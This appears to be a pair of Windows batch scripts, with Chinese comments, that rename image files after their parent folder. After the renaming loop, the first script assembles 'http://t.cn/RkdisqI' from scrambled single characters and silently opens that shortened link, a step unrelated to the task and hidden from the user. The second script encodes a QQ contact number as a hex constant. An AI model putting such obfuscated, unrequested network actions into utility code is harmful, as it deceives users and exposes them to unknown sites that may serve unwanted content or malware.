@echo off & title 批量重命名图片名为其文件夹名 By 依梦琴瑶
setlocal enabledelayedexpansion
::设置要处理的文件格式
set Ext=*.jpg,*.jpeg,*.png,*.gif,*.bmp
for /d %%a in (*) do (
pushd "%%~a"
set "Num="
for /f "delims=" %%b in ('dir /a-d/b %Ext%') do (
if not defined Num (
ren "%%~b" "%%~nxa%%~xb"
) else (
ren "%%~b" "%%~nxa(!Num!)%%~xb"
)
set /a Num+=1
)
popd
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
@echo off
set @=有问题联系&set #=Q&set/az=0x53b7e0b4
title %@% +%#%%#% %z%
cd /d "%~dp0"
set 扩展名=*.jpg
for /f "delims=" %%a in ('dir /ad/b') do (
pushd ".\%%a"
for /f "delims=" %%b in ('dir /a-d/b %扩展名% 2^>nul') do ren "%%b" "#%%~nxb"
set "n=1"
for /f "delims=" %%b in ('dir /a-d/b %扩展名% 2^>nul') do (
set "file=%%b"&set "fdname=%%~nxa"
setlocal enabledelayedexpansion
if !n! leq 1 (set "newname=!fdname!%%~xb") else (set "newname=!fdname!_!n!%%~xb")
echo;"!file!" --^> "!newname!"
ren "!file!" "!newname!"
endlocal
set /a n+=1
)
popd
)
echo;%@% +%#%%#% %z%
pause&exit
同一个文件夹里的图片可以批量命名